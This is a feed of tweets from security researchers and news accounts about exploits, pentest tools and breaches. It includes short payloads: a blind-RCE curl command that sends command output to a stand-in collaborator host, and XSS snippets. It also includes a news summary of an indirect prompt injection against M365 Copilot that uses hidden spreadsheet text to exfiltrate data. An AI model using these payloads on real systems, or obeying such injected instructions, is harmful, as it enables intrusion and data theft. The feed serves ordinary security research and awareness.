pentesting

Breaking stuff for fun and profit | tweets are not affiliated.

[The Hacker News @TheHackersNews]

🚨 WARNING — New HTTP/2 Bomb exploit targets NGINX, Apache HTTPD, Microsoft IIS, Envoy, and Cloudflare Pingora.

A single client can consume 32GB of server memory in roughly 20 seconds, causing remote DoS conditions.

Details here: https://t.co/58xDxAKRcZ

[striga @striga_ai]

CVE-2026-23918 - a pre-auth RCE in Apache httpd's mod_http2, found by Striga during our open-source research.

The bug triggers on a single HTTP/2 connection sending HEADERS followed by RST_STREAM with a non-zero error code. Two nghttp2 callbacks both push the same stream pointer onto the cleanup array, and the second pool_destroy hits already-freed memory.

We built a working RCE on x86_64 using mmap reuse and Apache's scoreboard memory as a stable container for fake cleanup structures.

Affects Apache httpd 2.4.66 with mod_http2 and a multi-threaded MPM.

Full technical writeup coming soon.

https://t.co/SI7p0zQToj
https://t.co/DcQSMnwhPx

[chiefofautism @chiefofautism]

someone built AI HACKERS that actually EXPLOIT your app and prove every vulnerability with a working proof-of-concept

your security scanner says possible SQL injection
this writes the actual exploit, runs it, confirms it works

ZERO false positives, every finding comes with real proof

its called Strix, open source tool

teams of AI agents coordinate like a real pentest squad, one does recon and maps your attack surface, another probes auth and session handling, another writes actual exploits and confirms they work

point it at source code, a github repo, or a live URL, handles all three

full hacker toolkit built in, http proxy for request manipulation, headless browser for XSS and CSRF, terminal for command injection, python runtime for custom exploits

finds an IDOR? it doesnt flag possible
it logs in as user A, requests user B invoice, confirms unauthorized access, saves the full request/response chain as proof

actual dynamic exploitation inside a sandboxed docker container

plug it into GitHub Actions, it scans every pull request and BLOCKS merges that introduce vulnerabilities, continuous pentesting on every PR, not one annual audit

a professional pentest costs $15-50K and takes 2-4 weeks

Snyk and Veracode charge $10-30K/year and still flag possible vulnerabilities you have to manually verify anyway

this is > pip install strix-agent and every single finding already has a working exploit attached

[pentesting @PenTesting]

GitHub - AndyMik90/Auto-Claude: Autonomous multi-session AI coding https://t.co/LJDASGiyLz

[Gareth Heyes \u2028 @garethheyes]

Bypass CSP in a single click using my new Custom Action, powered by @renniepak's excellent CSP bypass project.

[Next.js @nextjs]

Update on CVE-2025-66478 (React2Shell):

An npm package has been released to scan and update affected Next.js apps. Use `npx fix-react2shell-next` to update to patched versions.

All users should update as soon as possible.

More details our blog:

https://t.co/fjNfpv3huI

[Gareth Heyes \u2028 @garethheyes]

Hackvertor 2.2.33 released!

- New MultiEncoder window (CTRL+ALT+M) for applying multiple transformations across layers and sending to Repeater tab
- WebSockets support including a WebSocket handler and a new WebSocket setting
- Improved auto decoding

[Nowasky @nowaskyjr]

Inside <svg><script>, only child text nodes become JS code, while comments or SVG elements are dropped.

So <//…> (a bogus comment) lets you sneak comment-looking sequences into executable JS.

https://t.co/PKDT0U9f4w

#xss

[DarkShadow @darkshadow2bd]

☠️Blind Remote Code Execution🔥

✅POC:
curl -X POST -d \"user=$(whoami)\" http://BURP_LINK"

Join my BugBounty Telegram Channel: https://t.co/LeJHHPweci

some time targets might vulnerable but not give you the output. so never forget to try your burp collaborator to get the output.

NOTE: always check `User-Agent` Header in your burp collaborator responds, if here you got curl means RCE.

[Jenish Sojitra @_jensec]

I usually brute-force API paths with "Debug":true parameter and often it leads to reveal internal debug info to reverse proxies exposing API secrets and tokens.

[Nowasky @nowaskyjr]

Released JS-DOMestify — convert any JavaScript into code that uses only letters and the symbols + , . =

Try it: https://t.co/WP5XPiu9xm

#javascript #xss

[Google VRP (Google Bug Hunters) @GoogleVRP]

📣 We're delighted to announce our new, dedicated AI Vulnerability Reward Program 🥳 🎉!

Join us in taking a look back at two years of AI bug bounties at Google and exploring the new AI VRP 👇

https://t.co/x4Z5nwq07w

[Connor McGarr @33y0re]

Today I am releasing a new blog on Windows on ARM! It comes from the perspective of one, like myself, who comes from an x86 background and is new, but, interested in Windows on ARM! ELs, OS & hypervisor behavior (with VBS), virtual memory, paging, & more!

https://t.co/jUHls4wupu

[pentesting @PenTesting]

Hetty - An HTTP toolkit for security research https://t.co/dnZ0gdLJ4F

[pacbypass @pacbypass]

As promised, a blog post on Diffing 7-Zip for CVE-2025-11001. Enjoy :)

https://t.co/mxoijr5N2d

[Cyber Security News @The_Cyber_News]

🚨 M365 Copilot Prompt Injection Vulnerability Allows Attackers to Exfiltrate Sensitive Data

Read more: https://t.co/NhCFFUk90p

A sophisticated vulnerability in Microsoft 365 Copilot (M365 Copilot) that allows attackers to steal sensitive tenant data, including recent emails, through indirect prompt injection attacks.

The attack begins when a user asks M365 Copilot to summarize a maliciously crafted Excel spreadsheet.

Hidden instructions, embedded in white text across multiple sheets, use progressive task modification and nested commands to hijack the AI’s behavior.

#cybersecuritynews

[James Kettle @albinowax]

HTTP is supposed to be stateless, but sometimes... it isn't! Some servers create invisible vulnerabilities by only validating the first request on each TCP/TLS connection. I've just published a Custom Action to help you detect & exploit this - here's a narrated demo:

[vx-underground @vxunderground]

Chat, we are cooked

Discord is being extorted by the people who compromised their Zendesk instance

They've got 1.5TB of age verification related photos. 2,185,151 photos

tl;dr 2.1m Discord users drivers license and/or passport might be leaked. Unknown number of e-mails

[International Cyber Digest @IntCyberDigest]

‼️🚨 Red Hat breached: Crimson Collective stole 28k private repositories, including credentials, CI/CD secrets, pipeline configs, VPN profiles, and infrastructure blueprints.

Our analysis of obtained data: 👇

[Gareth Heyes \u2028 @garethheyes]

Haha:
<input onclick=attributes[0].value='`'+URL+'`'>

https://t.co/2AuxH8Vab7${alert(1)}

https://t.co/OsReRRmb3W${alert(1)}